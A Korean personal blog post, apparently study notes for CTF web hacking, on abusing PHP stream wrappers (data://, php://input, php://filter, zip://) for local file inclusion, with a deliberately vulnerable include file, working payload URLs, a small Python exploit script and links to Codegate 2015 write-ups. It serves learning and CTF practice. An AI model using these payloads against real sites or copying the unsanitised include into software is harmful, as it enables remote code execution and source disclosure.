lfi하고 같이 조금 정리했었던거 : http://qkqhxla1.tistory.com/313
http://php.net/manual/kr/wrappers.php 참고. 종류.
등이 있음. index.php 소스코드.
<?php $inc = @$_GET['file']; @require_once($inc); ?> 를 넣어둠.
data:// ex) http://localhost/index.php?file=data://text/plain;base64,PD9waHAgcHJpbnRfcihzY2FuZGlyKGdldGN3ZCgpKSk7ID8%2B
php://input ex) //post로 보낼 경우.
import urllib2
req = urllib2.Request('http://localhost/?file=php://input','<?php print_r(scandir(getcwd())); ?>')
print urllib2.urlopen(req).read()
php://filter ex)
http://localhost/index.php?file=php://filter/convert.base64-encode/resource=9-2.php
처럼 하면 9-2.php의 소스코드가 base64인코딩된 상태로 나타난다.
코드게이트 2015 web 200 문제에서는 zip://이나 phar://이 유효했다고 한다.
아래는 zip://사용 예제.(윈도우 기준)
1. php 5.2이상 버전에서 php.ini의 ;extension=php_zip.dll에서 맨 앞에 ;를 지워버린다.(;가 주석인듯)
2. bar.txt내부에 hello world라고 쓴후 압축해서 이름을 foo.zip으로 바꾼다.
3. 위에 적은 테스트용 코드인 <?php $inc = @$_GET['file']; @require_once($inc); ?> 를 넣고, 불러온다. http://localhost/?file=zip://C:\\APM_Setup\\htdocs/foo.zip%23bar.txt
%23은 #이며, #앞으로 zip파일 이름을, #뒤로 zip이 풀렸을때 이름을 넣어주고, zip://경로는 반드시 절대 전체 경로를 넣어준다. 현재 php파일과 위치가 같다고 그냥 zip://foo.zip~처럼 써주면 안된다. (이거때메 몇일 삽질.)
phar의 설치도 올려보려고 했는데 기본적으로 5.3.0부터 설치된다고 한다.(내 apm이 5.2라서 못해볼듯..)
혹시몰라서 phar객체를 만들어보려고 했는데 아예 못찾겠다는 에러메시지를 보니 5.3부터 설치되는게 맞는듯 싶다. 굳이 몰라도 될거같으니 있다는것만 알아두자..
추가 참고용 사이트 : http://blog.naver.com/parkjy76/30101133579
코드게이트 2015 web 200 : http://dakutenpura.hatenablog.com/entry/2015/03/16/223424
코드게이트 풀이 2 : https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/
php 공식 홈페이지의 zip://참고 페이지 : http://php.net/manual/kr/zip.examples.php
'webhacking > etc' 카테고리의 다른 글
codeshell.kr hash col, dummy 64 (0) | 2015.08.10 |
---|---|
byte flipping attack 문서 번역, 실습 (0) | 2015.08.05 |
chall.tasteless.eu Leetmore (0) | 2015.07.21 |
WeChall Training: PHP LFI, PHP 0817, Training: Register Globals, PHP 0819 (0) | 2015.07.06 |
adm1nkyj님의 새 워게임 (0) | 2015.07.05 |